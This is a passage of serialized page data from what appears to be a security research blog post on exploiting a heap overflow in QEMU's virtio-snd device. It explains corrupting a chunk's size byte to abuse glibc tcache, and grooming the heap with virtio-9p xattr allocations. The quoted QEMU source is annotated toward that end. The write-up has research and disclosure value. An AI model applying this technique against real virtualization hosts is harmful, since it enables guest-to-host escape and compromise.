[...]\n",[126758],{"type":23,"tag":94,"props":126759,"children":126760},{"__ignoreMap":7},[126761,126768,126795,126802,126809,126816,126835,126842,126861,126868,126895,126918,126925,126951,126958,126969,127026],{"type":23,"tag":314,"props":126762,"children":126763},{"class":316,"line":317},[126764],{"type":23,"tag":314,"props":126765,"children":126766},{"style":321},[126767],{"type":28,"value":126462},{"type":23,"tag":314,"props":126769,"children":126770},{"class":316,"line":370},[126771,126775,126779,126783,126787,126791],{"type":23,"tag":314,"props":126772,"children":126773},{"style":332},[126774],{"type":28,"value":125728},{"type":23,"tag":314,"props":126776,"children":126777},{"style":338},[126778],{"type":28,"value":2324},{"type":23,"tag":314,"props":126780,"children":126781},{"style":321},[126782],{"type":28,"value":50878},{"type":23,"tag":314,"props":126784,"children":126785},{"style":354},[126786],{"type":28,"value":357},{"type":23,"tag":314,"props":126788,"children":126789},{"style":360},[126790],{"type":28,"value":39912},{"type":23,"tag":314,"props":126792,"children":126793},{"style":338},[126794],{"type":28,"value":2414},{"type":23,"tag":314,"props":126796,"children":126797},{"class":316,"line":380},[126798],{"type":23,"tag":314,"props":126799,"children":126800},{"style":338},[126801],{"type":28,"value":10129},{"type":23,"tag":314,"props":126803,"children":126804},{"class":316,"line":1091},[126805],{"type":23,"tag":314,"props":126806,"children":126807},{"style":338},[126808],{"type":28,"value":125771},{"type":23,"tag":314,"props":126810,"children":126811},{"class":316,"line":1141},[126812],{"type":23,"tag":314,"props":126813,"children":126814},{"emptyLinePlaceholder":18},[126815],{"type":28,"value":1088},{"type":23,"tag":314,"props":126817,"children":126818},{"class":316,"line":1173},[126819,126823,126827,126831],{"type":23,"tag":314,"props":126820,"children":126821},{"style":338},[126822],{"type":28,"value":125786},{"type":23,"tag":314,"props":126824,"children":126825},{"style":354},[126826],{"type":28,"value":1102},{"type":23,"tag":314,"props":126828,"children":126829},{"style":332},[126830],{"type":28,"value":125795},{"type":23,"tag":314,"props":126832,"children":126833},{"style":338},[126834],{"type":28,"value":125800},{"type":23,"tag":314,"props":126836,"children":126837},{"class":316,"line":1208},[126838],{"type":23,"tag":314,"props":126839,"children":126840},{"emptyLinePlaceholder":18},[126841],{"type":28,"value":1088},{"type":23,"tag":314,"props":126843,"children":126844},{"class":316,"line":1216},[126845,126849,126853,126857],{"type":23,"tag":314,"props":126846,"children":126847},{"style":338},[126848],{"type":28,"value":126544},{"type":23,"tag":314,"props":126850,"children":126851},{"style":354},[126852],{"type":28,"value":1102},{"type":23,"tag":314,"props":126854,"children":126855},{"style":332},[126856],{"type":28,"value":126122},{"type":23,"tag":314,"props":126858,"children":126859},{"style":338},[126860],{"type":28,"value":125841},{"type":23,"tag":314,"props":126862,"children":126863},{"class":316,"line":1301},[126864],{"type":23,"tag":314,"props":126865,"children":126866},{"emptyLinePlaceholder":18},[126867],{"type":28,"value":1088},{"type":23,"tag":314,"props":126869,"children":126870},{"class":316,"line":1343},[126871,126875,126879,126883,126887,126891],{"type":23,"tag":314,"props":126872,"children":126873},{"style":2284},[126874],{"type":28,"value":30642},{"type":23,"tag":314,"props":126876,"children":126877},{"style":338},[126878],{"type":28,"value":2324},{"type":23,"tag":314,"props":126880,"children":126881},{"style":332},[126882],{"type":28,"value":126317},{"type":23,"tag":314,"props":126884,"children":126885},{"style":338},[126886],{"type":28,"value":2324},{"type":23,"tag":314,"props":126888,"children":126889},{"style":332},[126890],{"type":28,"value":126251},{"type":23,"tag":314,"props":126892,"children":126893},{"style":338},[126894],{"type":28,"value":126591},{"type":23,"tag":314,"props":126896,"children":126897},{"class":316,"line":1351},[126898,126902,126906,126910,126914],{"type":23,"tag":314,"props":126899,"children":126900},{"style":2284},[126901],{"type":28,"value":16228},{"type":23,"tag":314,"props":126903,"children":126904},{"style":332},[126905],{"type":28,"value":126603},{"type":23,"tag":314,"props":126907,"children":126908},{"style":338},[126909],{"type":28,"value":2324},{"type":23,"tag":314,"props":126911,"children":126912},{"style":1245},[126913],{"type":28,"value":126281},{"type":23,"tag":314,"props":126915,"children":126916},{"style":338},[126917],{"type":28,"value":1025},{"type":23,"tag":314,"props":126919,"children":126920},{"class":316,"line":1387},[126921],{"type":23,"tag":314,"props":126922,"children":126923},{"emptyLinePlaceholder":18},[126924],{"type":28,"value":1088},{"type":23,"tag":314,"props":126926,"children":126927},{"class":316,"line":1422},[126928,126932,126936,126941,126946],{"type":23,"tag":314,"props":126929,"children":126930},{"style":332},[126931],{"type":28,"value":126384},{"type":23,"tag":314,"props":126933,"children":126934},{"style":338},[126935],{"type":28,"value":2324},{"type":23,"tag":314,"props":126937,"children":126938},{"style":332},[126939],{"type":28,"value":126940},"arena_for_chunk",{"type":23,"tag":314,"props":126942,"children":126943},{"style":338},[126944],{"type":28,"value":126945}," (p), p);",{"type":23,"tag":314,"props":126947,"children":126948},{"style":374},[126949],{"type":28,"value":126950}," // [1]\n",{"type":23,"tag":314,"props":126952,"children":126953},{"class":316,"line":1430},[126954],{"type":23,"tag":314,"props":126955,"children":126956},{"emptyLinePlaceholder":18},[126957],{"type":28,"value":1088},{"type":23,"tag":314,"props":126959,"children":126960},{"class":316,"line":1452},[126961,126965],{"type":23,"tag":314,"props":126962,"children":126963},{"style":2284},[126964],{"type":28,"value":126630},{"type":23,"tag":314,"props":126966,"children":126967},{"style":332},[126968],{"type":28,"value":126635},{"type":23,"tag":314,"props":126970,"children":126971},{"class":316,"line":1497},[126972,126976,126980,126984,126988,126992,126996,127000,127004,127008,127013,127017,127022],{"type":23,"tag":314,"props":126973,"children":126974},{"style":2284},[126975],{"type":28,"value":30642},{"type":23,"tag":314,"props":126977,"children":126978},{"style":338},[126979],{"type":28,"value":2324},{"type":23,"tag":314,"props":126981,"children":126982},{"style":332},[126983],{"type":28,"value":126651},{"type":23,"tag":314,"props":126985,"children":126986},{"style":338},[126987],{"type":28,"value":126322},{"type":23,"tag":314,"props":126989,"children":126990},{"style":354},[126991],{"type":28,"value":5060},{"type":23,"tag":314,"props":126993,"children":126994},{"style":360},[126995],{"type":28,"value":126664},{"type":23,"tag":314,"props":126997,"children":126998},{"style":338},[126999],{"type":28,"value":282},{"type":23,"tag":314,"props":127001,"children":127002},{"style":360},[127003],{"type":28,"value":126673},{"type":23,"tag":314,"props":127005,"children":127006},{"style":354},[127007],{"type":28,"value":13432},{"type":23,"tag":314,"props":127009,"children":127010},{"style":338},[127011],{"type":28,"value":127012}," tcache ",{"type":23,"tag":314,"props":127014,"children":127015},{"style":354},[127016],{"type":28,"value":1196},{"type":23,"tag":314,"props":127018,"children":127019},{"style":321},[127020],{"type":28,"value":127021}," NULL",{"type":23,"tag":314,"props":127023,"children":127024},{"style":338},[127025],{"type":28,"value":18949},{"type":23,"tag":314,"props":127027,"children":127028},{"class":316,"line":1539},[127029],{"type":23,"tag":314,"props":127030,"children":127031},{"style":338},[127032],{"type":28,"value":126404},{"type":23,"tag":24,"props":127034,"children":127035},{},[127036,127038,127043],{"type":28,"value":127037},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":23,"tag":94,"props":127039,"children":127041},{"className":127040},[],[127042],{"type":28,"value":123512},{"type":28,"value":127044},", because on the latest 2.43 glibc they are non-existent.",{"type":23,"tag":18031,"props":127046,"children":127047},{},[],{"type":23,"tag":24,"props":127049,"children":127050},{},[127051,127053,127058,127060,127066,127068,127073,127075,127081],{"type":28,"value":127052},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":23,"tag":94,"props":127054,"children":127056},{"className":127055},[],[127057],{"type":28,"value":123512},{"type":28,"value":127059}," field was initially ",{"type":23,"tag":94,"props":127061,"children":127063},{"className":127062},[],[127064],{"type":28,"value":127065},"0x200",{"type":28,"value":127067},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":23,"tag":94,"props":127069,"children":127071},{"className":127070},[],[127072],{"type":28,"value":125688},{"type":28,"value":127074},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":23,"tag":94,"props":127076,"children":127078},{"className":127077},[],[127079],{"type":28,"value":127080},"[0x210, 0x2f0]",{"type":28,"value":127082},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":23,"tag":24,"props":127084,"children":127085},{},[127086],{"type":28,"value":127087},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":23,"tag":837,"props":127089,"children":127091},{"id":127090},"heap-spraying",[127092],{"type":28,"value":127093},"Heap Spraying",{"type":23,"tag":24,"props":127095,"children":127096},{},[127097,127099,127104],{"type":28,"value":127098},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":23,"tag":94,"props":127100,"children":127102},{"className":127101},[],[127103],{"type":28,"value":127065},{"type":28,"value":127105},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":23,"tag":24,"props":127107,"children":127108},{},[127109,127111,127116],{"type":28,"value":127110},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":23,"tag":94,"props":127112,"children":127114},{"className":127113},[],[127115],{"type":28,"value":123707},{"type":28,"value":127117}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":23,"tag":24,"props":127119,"children":127120},{},[127121],{"type":28,"value":127122},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":23,"tag":18130,"props":127124,"children":127126},{"id":127125},"virtio-9p",[127127],{"type":28,"value":127125},{"type":23,"tag":24,"props":127129,"children":127130},{},[127131,127136],{"type":23,"tag":94,"props":127132,"children":127134},{"className":127133},[],[127135],{"type":28,"value":127125},{"type":28,"value":127137}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":23,"tag":24,"props":127139,"children":127140},{},[127141,127143,127149,127151,127157,127158,127164,127166,127171],{"type":28,"value":127142},"Through a ",{"type":23,"tag":94,"props":127144,"children":127146},{"className":127145},[],[127147],{"type":28,"value":127148},"P9_TXATTRCREATE",{"type":28,"value":127150}," request, we can allocate host-side buffers for both the ",{"type":23,"tag":94,"props":127152,"children":127154},{"className":127153},[],[127155],{"type":28,"value":127156},".name",{"type":28,"value":557},{"type":23,"tag":94,"props":127159,"children":127161},{"className":127160},[],[127162],{"type":28,"value":127163},".value",{"type":28,"value":127165}," fields, with the size of ",{"type":23,"tag":94,"props":127167,"children":127169},{"className":127168},[],[127170],{"type":28,"value":127163},{"type":28,"value":127172}," being directly controlled by the guest.",{"type":23,"tag":304,"props":127174,"children":127176},{"code":127175,"language":308,"meta":7,"className":306,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n int flags, rflags = 0;\n int32_t fid;\n uint64_t size;\n ssize_t err = 0;\n V9fsString name;\n size_t offset = 7;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n V9fsPDU *pdu = opaque;\n\n v9fs_string_init(&name);\n err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n if (err \u003C 0) {\n goto out_nofid;\n }\n\n [...]\n\n if (size > P9_XATTR_SIZE_MAX) {\n err = -E2BIG;\n goto out_nofid;\n }\n\n [...]\n\n v9fs_string_init(&xattr_fidp->fs.xattr.name);\n v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[127177],{"type":23,"tag":94,"props":127178,"children":127179},{"__ignoreMap":7},[127180,127222,127229,127253,127266,127277,127302,127310,127335,127352,127368,127394,127401,127422,127488,127512,127525,127532,127539,127546,127553,127573,127594,127605,127612,127619,127626,127633,127682,127738,127783],{"type":23,"tag":314,"props":127181,"children":127182},{"class":316,"line":317},[127183,127187,127191,127196,127201,127205,127209,127213,127218],{"type":23,"tag":314,"props":127184,"children":127185},{"style":321},[127186],{"type":28,"value":50295},{"type":23,"tag":314,"props":127188,"children":127189},{"style":321},[127190],{"type":28,"value":50300},{"type":23,"tag":314,"props":127192,"children":127193},{"style":338},[127194],{"type":28,"value":127195}," coroutine_fn ",{"type":23,"tag":314,"props":127197,"children":127198},{"style":332},[127199],{"type":28,"value":127200},"v9fs_xattrcreate",{"type":23,"tag":314,"props":127202,"children":127203},{"style":338},[127204],{"type":28,"value":341},{"type":23,"tag":314,"props":127206,"children":127207},{"style":321},[127208],{"type":28,"value":50878},{"type":23,"tag":314,"props":127210,"children":127211},{"style":354},[127212],{"type":28,"value":357},{"type":23,"tag":314,"props":127214,"children":127215},{"style":360},[127216],{"type":28,"value":127217},"opaque",{"type":23,"tag":314,"props":127219,"children":127220},{"style":338},[127221],{"type":28,"value":2414},{"type":23,"tag":314,"props":127223,"children":127224},{"class":316,"line":370},[127225],{"type":23,"tag":314,"props":127226,"children":127227},{"style":338},[127228],{"type":28,"value":10129},{"type":23,"tag":314,"props":127230,"children":127231},{"class":316,"line":380},[127232,127236,127241,127245,127249],{"type":23,"tag":314,"props":127233,"children":127234},{"style":321},[127235],{"type":28,"value":18315},{"type":23,"tag":314,"props":127237,"children":127238},{"style":338},[127239],{"type":28,"value":127240}," flags, rflags ",{"type":23,"tag":314,"props":127242,"children":127243},{"style":354},[127244],{"type":28,"value":1102},{"type":23,"tag":314,"props":127246,"children":127247},{"style":1054},[127248],{"type":28,"value":1201},{"type":23,"tag":314,"props":127250,"children":127251},{"style":338},[127252],{"type":28,"value":2278},{"type":23,"tag":314,"props":127254,"children":127255},{"class":316,"line":1091},[127256,127261],{"type":23,"tag":314,"props":127257,"children":127258},{"style":321},[127259],{"type":28,"value":127260}," int32_t",{"type":23,"tag":314,"props":127262,"children":127263},{"style":338},[127264],{"type":28,"value":127265}," fid;\n",{"type":23,"tag":314,"props":127267,"children":127268},{"class":316,"line":1141},[127269,127273],{"type":23,"tag":314,"props":127270,"children":127271},{"style":321},[127272],{"type":28,"value":54863},{"type":23,"tag":314,"props":127274,"children":127275},{"style":338},[127276],{"type":28,"value":123854},{"type":23,"tag":314,"props":127278,"children":127279},{"class":316,"line":1173},[127280,127285,127290,127294,127298],{"type":23,"tag":314,"props":127281,"children":127282},{"style":321},[127283],{"type":28,"value":127284}," ssize_t",{"type":23,"tag":314,"props":127286,"children":127287},{"style":338},[127288],{"type":28,"value":127289}," err ",{"type":23,"tag":314,"props":127291,"children":127292},{"style":354},[127293],{"type":28,"value":1102},{"type":23,"tag":314,"props":127295,"children":127296},{"style":1054},[127297],{"type":28,"value":1201},{"type":23,"tag":314,"props":127299,"children":127300},{"style":338},[127301],{"type":28,"value":2278},{"type":23,"tag":314,"props":127303,"children":127304},{"class":316,"line":1208},[127305],{"type":23,"tag":314,"props":127306,"children":127307},{"style":338},[127308],{"type":28,"value":127309}," V9fsString name;\n",{"type":23,"tag":314,"props":127311,"children":127312},{"class":316,"line":1216},[127313,127317,127322,127326,127331],{"type":23,"tag":314,"props":127314,"children":127315},{"style":321},[127316],{"type":28,"value":15805},{"type":23,"tag":314,"props":127318,"children":127319},{"style":338},[127320],{"type":28,"value":127321}," offset ",{"type":23,"tag":314,"props":127323,"children":127324},{"style":354},[127325],{"type":28,"value":1102},{"type":23,"tag":314,"props":127327,"children":127328},{"style":1054},[127329],{"type":28,"value":127330}," 7",{"type":23,"tag":314,"props":127332,"children":127333},{"style":338},[127334],{"type":28,"value":2278},{"type":23,"tag":314,"props":127336,"children":127337},{"class":316,"line":1301},[127338,127343,127347],{"type":23,"tag":314,"props":127339,"children":127340},{"style":338},[127341],{"type":28,"value":127342}," V9fsFidState ",{"type":23,"tag":314,"props":127344,"children":127345},{"style":354},[127346],{"type":28,"value":256},{"type":23,"tag":314,"props":127348,"children":127349},{"style":338},[127350],{"type":28,"value":127351},"file_fidp;\n",{"type":23,"tag":314,"props":127353,"children":127354},{"class":316,"line":1343},[127355,127359,127363],{"type":23,"tag":314,"props":127356,"children":127357},{"style":338},[127358],{"type":28,"value":127342},{"type":23,"tag":314,"props":127360,"children":127361},{"style":354},[127362],{"type":28,"value":256},{"type":23,"tag":314,"props":127364,"children":127365},{"style":338},[127366],{"type":28,"value":127367},"xattr_fidp;\n",{"type":23,"tag":314,"props":127369,"children":127370},{"class":316,"line":1351},[127371,127376,127380,127385,127389],{"type":23,"tag":314,"props":127372,"children":127373},{"style":338},[127374],{"type":28,"value":127375}," V9fsPDU ",{"type":23,"tag":314,"props":127377,"children":127378},{"style":354},[127379],{"type":28,"value":256},{"type":23,"tag":314,"props":127381,"children":127382},{"style":338},[127383],{"type":28,"value":127384},"pdu ",{"type":23,"tag":314,"props":127386,"children":127387},{"style":354},[127388],{"type":28,"value":1102},{"type":23,"tag":314,"props":127390,"children":127391},{"style":338},[127392],{"type":28,"value":127393}," opaque;\n",{"type":23,"tag":314,"props":127395,"children":127396},{"class":316,"line":1387},[127397],{"type":23,"tag":314,"props":127398,"children":127399},{"emptyLinePlaceholder":18},[127400],{"type":28,"value":1088},{"type":23,"tag":314,"props":127402,"children":127403},{"class":316,"line":1422},[127404,127409,127413,127417],{"type":23,"tag":314,"props":127405,"children":127406},{"style":332},[127407],{"type":28,"value":127408}," v9fs_string_init",{"type":23,"tag":314,"props":127410,"children":127411},{"style":338},[127412],{"type":28,"value":341},{"type":23,"tag":314,"props":127414,"children":127415},{"style":354},[127416],{"type":28,"value":1833},{"type":23,"tag":314,"props":127418,"children":127419},{"style":338},[127420],{"type":28,"value":127421},"name);\n",{"type":23,"tag":314,"props":127423,"children":127424},{"class":316,"line":1430},[127425,127430,127434,127439,127444,127449,127453,127457,127462,127466,127471,127475,127479,127483],{"type":23,"tag":314,"props":127426,"children":127427},{"style":338},[127428],{"type":28,"value":127429}," err ",{"type":23,"tag":314,"props":127431,"children":127432},{"style":354},[127433],{"type":28,"value":1102},{"type":23,"tag":314,"props":127435,"children":127436},{"style":332},[127437],{"type":28,"value":127438}," pdu_unmarshal",{"type":23,"tag":314,"props":127440,"children":127441},{"style":338},[127442],{"type":28,"value":127443},"(pdu, offset, ",{"type":23,"tag":314,"props":127445,"children":127446},{"style":1245},[127447],{"type":28,"value":127448},"\"dsqd\"",{"type":23,"tag":314,"props":127450,"children":127451},{"style":338},[127452],{"type":28,"value":778},{"type":23,"tag":314,"props":127454,"children":127455},{"style":354},[127456],{"type":28,"value":1833},{"type":23,"tag":314,"props":127458,"children":127459},{"style":338},[127460],{"type":28,"value":127461},"fid, ",{"type":23,"tag":314,"props":127463,"children":127464},{"style":354},[127465],{"type":28,"value":1833},{"type":23,"tag":314,"props":127467,"children":127468},{"style":338},[127469],{"type":28,"value":127470},"name, ",{"type":23,"tag":314,"props":127472,"children":127473},{"style":354},[127474],{"type":28,"value":1833},{"type":23,"tag":314,"props":127476,"children":127477},{"style":338},[127478],{"type":28,"value":126221},{"type":23,"tag":314,"props":127480,"children":127481},{"style":354},[127482],{"type":28,"value":1833},{"type":23,"tag":314,"props":127484,"children":127485},{"style":338},[127486],{"type":28,"value":127487},"flags);\n",{"type":23,"tag":314,"props":127489,"children":127490},{"class":316,"line":1452},[127491,127495,127500,127504,127508],{"type":23,"tag":314,"props":127492,"children":127493},{"style":2284},[127494],{"type":28,"value":11527},{"type":23,"tag":314,"props":127496,"children":127497},{"style":338},[127498],{"type":28,"value":127499}," (err ",{"type":23,"tag":314,"props":127501,"children":127502},{"style":354},[127503],{"type":28,"value":5060},{"type":23,"tag":314,"props":127505,"children":127506},{"style":1054},[127507],{"type":28,"value":1201},{"type":23,"tag":314,"props":127509,"children":127510},{"style":338},[127511],{"type":28,"value":367},{"type":23,"tag":314,"props":127513,"children":127514},{"class":316,"line":1497},[127515,127520],{"type":23,"tag":314,"props":127516,"children":127517},{"style":2284},[127518],{"type":28,"value":127519}," goto",{"type":23,"tag":314,"props":127521,"children":127522},{"style":338},[127523],{"type":28,"value":127524}," out_nofid;\n",{"type":23,"tag":314,"props":127526,"children":127527},{"class":316,"line":1539},[127528],{"type":23,"tag":314,"props":127529,"children":127530},{"style":338},[127531],{"type":28,"value":2610},{"type":23,"tag":314,"props":127533,"children":127534},{"class":316,"line":1548},[127535],{"type":23,"tag":314,"props":127536,"children":127537},{"emptyLinePlaceholder":18},[127538],{"type":28,"value":1088},{"type":23,"tag":314,"props":127540,"children":127541},{"class":316,"line":1584},[127542],{"type":23,"tag":314,"props":127543,"children":127544},{"style":338},[127545],{"type":28,"value":104053},{"type":23,"tag":314,"props":127547,"children":127548},{"class":316,"line":1617},[127549],{"type":23,"tag":314,"props":127550,"children":127551},{"emptyLinePlaceholder":18},[127552],{"type":28,"value":1088},{"type":23,"tag":314,"props":127554,"children":127555},{"class":316,"line":1625},[127556,127560,127564,127568],{"type":23,"tag":314,"props":127557,"children":127558},{"style":2284},[127559],{"type":28,"value":11527},{"type":23,"tag":314,"props":127561,"children":127562},{"style":338},[127563],{"type":28,"value":126322},{"type":23,"tag":314,"props":127565,"children":127566},{"style":354},[127567],{"type":28,"value":9710},{"type":23,"tag":314,"props":127569,"children":127570},{"style":338},[127571],{"type":28,"value":127572}," P9_XATTR_SIZE_MAX) {\n",{"type":23,"tag":314,"props":127574,"children":127575},{"class":316,"line":1660},[127576,127581,127585,127589],{"type":23,"tag":314,"props":127577,"children":127578},{"style":338},[127579],{"type":28,"value":127580}," err ",{"type":23,"tag":314,"props":127582,"children":127583},{"style":354},[127584],{"type":28,"value":1102},{"type":23,"tag":314,"props":127586,"children":127587},{"style":354},[127588],{"type":28,"value":50506},{"type":23,"tag":314,"props":127590,"children":127591},{"style":338},[127592],{"type":28,"value":127593},"E2BIG;\n",{"type":23,"tag":314,"props":127595,"children":127596},{"class":316,"line":1708},[127597,127601],{"type":23,"tag":314,"props":127598,"children":127599},{"style":2284},[127600],{"type":28,"value":127519},{"type":23,"tag":314,"props":127602,"children":127603},{"style":338},[127604],{"type":28,"value":127524},{"type":23,"tag":314,"props":127606,"children":127607},{"class":316,"line":1743},[127608],{"type":23,"tag":314,"props":127609,"children":127610},{"style":338},[127611],{"type":28,"value":2610},{"type":23,"tag":314,"props":127613,"children":127614},{"class":316,"line":1751},[127615],{"type":23,"tag":314,"props":127616,"children":127617},{"emptyLinePlaceholder":18},[127618],{"type":28,"value":1088},{"type":23,"tag":314,"props":127620,"children":127621},{"class":316,"line":1791},[127622],{"type":23,"tag":314,"props":127623,"children":127624},{"style":338},[127625],{"type":28,"value":104053},{"type":23,"tag":314,"props":127627,"children":127628},{"class":316,"line":1805},[127629],{"type":23,"tag":314,"props":127630,"children":127631},{"emptyLinePlaceholder":18},[127632],{"type":28,"value":1088},{"type":23,"tag":314,"props":127634,"children":127635},{"class":316,"line":1818},[127636,127640,127644,127648,127653,127657,127661,127665,127670,127674,127678],{"type":23,"tag":314,"props":127637,"children":127638},{"style":332},[127639],{"type":28,"value":127408},{"type":23,"tag":314,"props":127641,"children":127642},{"style":338},[127643],{"type":28,"value":341},{"type":23,"tag":314,"props":127645,"children":127646},{"style":354},[127647],{"type":28,"value":1833},{"type":23,"tag":314,"props":127649,"children":127650},{"style":360},[127651],{"type":28,"value":127652},"xattr_fidp",{"type":23,"tag":314,"props":127654,"children":127655},{"style":338},[127656],{"type":28,"value":1015},{"type":23,"tag":314,"props":127658,"children":127659},{"style":360},[127660],{"type":28,"value":36231},{"type":23,"tag":314,"props":127662,"children":127663},{"style":338},[127664],{"type":28,"value":282},{"type":23,"tag":314,"props":127666,"children":127667},{"style":360},[127668],{"type":28,"value":127669},"xattr",{"type":23,"tag":314,"props":127671,"children":127672},{"style":338},[127673],{"type":28,"value":282},{"type":23,"tag":314,"props":127675,"children":127676},{"style":360},[127677],{"type":28,"value":47748},{"type":23,"tag":314,"props":127679,"children":127680},{"style":338},[127681],{"type":28,"value":1025},{"type":23,"tag":314,"props":127683,"children":127684},{"class":316,"line":1873},[127685,127690,127694,127698,127702,127706,127710,127714,127718,127722,127726,127730,127734],{"type":23,"tag":314,"props":127686,"children":127687},{"style":332},[127688],{"type":28,"value":127689}," v9fs_string_copy",{"type":23,"tag":314,"props":127691,"children":127692},{"style":338},[127693],{"type":28,"value":341},{"type":23,"tag":314,"props":127695,"children":127696},{"style":354},[127697],{"type":28,"value":1833},{"type":23,"tag":314,"props":127699,"children":127700},{"style":360},[127701],{"type":28,"value":127652},{"type":23,"tag":314,"props":127703,"children":127704},{"style":338},[127705],{"type":28,"value":1015},{"type":23,"tag":314,"props":127707,"children":127708},{"style":360},[127709],{"type":28,"value":36231},{"type":23,"tag":314,"props":127711,"children":127712},{"style":338},[127713],{"type":28,"value":282},{"type":23,"tag":314,"props":127715,"children":127716},{"style":360},[127717],{"type":28,"value":127669},{"type":23,"tag":314,"props":127719,"children":127720},{"style":338},[127721],{"type":28,"value":282},{"type":23,"tag":314,"props":127723,"children":127724},{"style":360},[127725],{"type":28,"value":47748},{"type":23,"tag":314,"props":127727,"children":127728},{"style":338},[127729],{"type":28,"value":778},{"type":23,"tag":314,"props":127731,"children":127732},{"style":354},[127733],{"type":28,"value":1833},{"type":23,"tag":314,"props":127735,"children":127736},{"style":338},[127737],{"type":28,"value":127421},{"type":23,"tag":314,"props":127739,"children":127740},{"class":316,"line":1891},[127741,127746,127750,127754,127758,127762,127766,127770,127774,127778],{"type":23,"tag":314,"props":127742,"children":127743},{"style":360},[127744],{"type":28,"value":127745}," xattr_fidp",{"type":23,"tag":314,"props":127747,"children":127748},{"style":338},[127749],{"type":28,"value":1015},{"type":23,"tag":314,"props":127751,"children":127752},{"style":360},[127753],{"type":28,"value":36231},{"type":23,"tag":314,"props":127755,"children":127756},{"style":338},[127757],{"type":28,"value":282},{"type":23,"tag":314,"props":127759,"children":127760},{"style":360},[127761],{"type":28,"value":127669},{"type":23,"tag":314,"props":127763,"children":127764},{"style":338},[127765],{"type":28,"value":282},{"type":23,"tag":314,"props":127767,"children":127768},{"style":360},[127769],{"type":28,"value":38399},{"type":23,"tag":314,"props":127771,"children":127772},{"style":354},[127773],{"type":28,"value":1237},{"type":23,"tag":314,"props":127775,"children":127776},{"style":332},[127777],{"type":28,"value":123425},{"type":23,"tag":314,"props":127779,"children":127780},{"style":338},[127781],{"type":28,"value":127782},"(size);\n",{"type":23,"tag":314,"props":127784,"children":127785},{"class":316,"line":1899},[127786],{"type":23,"tag":314,"props":127787,"children":127788},{"style":338},[127789],{"type":28,"value":386},{"type":23,"tag":24,"props":127791,"children":127792},{},[127793,127795,127800,127802,127807,127808,127813,127815,127820],{"type":28,"value":127794},"Because the ",{"type":23,"tag":94,"props":127796,"children":127798},{"className":127797},[],[127799],{"type":28,"value":127156},{"type":28,"value":127801}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":23,"tag":94,"props":127803,"children":127805},{"className":127804},[],[127806],{"type":28,"value":127156},{"type":28,"value":557},{"type":23,"tag":94,"props":127809,"children":127811},{"className":127810},[],[127812],{"type":28,"value":127163},{"type":28,"value":127814},", not just the ",{"type":23,"tag":94,"props":127816,"children":127818},{"className":127817},[],[127819],{"type":28,"value":127163},{"type":28,"value":127821}," we actually care about. But we will get around this later in the blog post.",{"type":23,"tag":24,"props":127823,"children":127824},{},[127825,127826,127831],{"type":28,"value":92},{"type":23,"tag":94,"props":127827,"children":127829},{"className":127828},[],[127830],{"type":28,"value":127163},{"type":28,"value":127832}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":23,"tag":24,"props":127834,"children":127835},{},[127836,127838,127843,127845,127851,127853,127859,127861,127867],{"type":28,"value":127837},"Once allocated, we can write arbitrary bytes into the ",{"type":23,"tag":94,"props":127839,"children":127841},{"className":127840},[],[127842],{"type":28,"value":127163},{"type":28,"value":127844}," buffer through a ",{"type":23,"tag":94,"props":127846,"children":127848},{"className":127847},[],[127849],{"type":28,"value":127850},"P9_TWRITE",{"type":28,"value":127852}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":23,"tag":94,"props":127854,"children":127856},{"className":127855},[],[127857],{"type":28,"value":127858},"P9_TREAD",{"type":28,"value":127860},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":23,"tag":94,"props":127862,"children":127864},{"className":127863},[],[127865],{"type":28,"value":127866},"P9_TCLUNK",{"type":28,"value":127868}," request on that same FID.",{"type":23,"tag":24,"props":127870,"children":127871},{},[127872,127874,127880],{"type":28,"value":127873},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":23,"tag":94,"props":127875,"children":127877},{"className":127876},[],[127878],{"type":28,"value":127879},"65536",{"type":28,"value":127881}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":23,"tag":837,"props":127883,"children":127885},{"id":127884},"setting-the-heap-layout",[127886],{"type":28,"value":127887},"Setting the Heap Layout",{"type":23,"tag":24,"props":127889,"children":127890},{},[127891,127893,127898],{"type":28,"value":127892},"Ideally, we want a contiguous heap region consisting only of ",{"type":23,"tag":94,"props":127894,"children":127896},{"className":127895},[],[127897],{"type":28,"value":127163},{"type":28,"value":127899}," allocations, like this:",{"type":23,"tag":304,"props":127901,"children":127903},{"code":127902}," 0x200 0x200 0x200 0x200 0x200\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value B | .value C | .value D | .value E |\n| | | | | 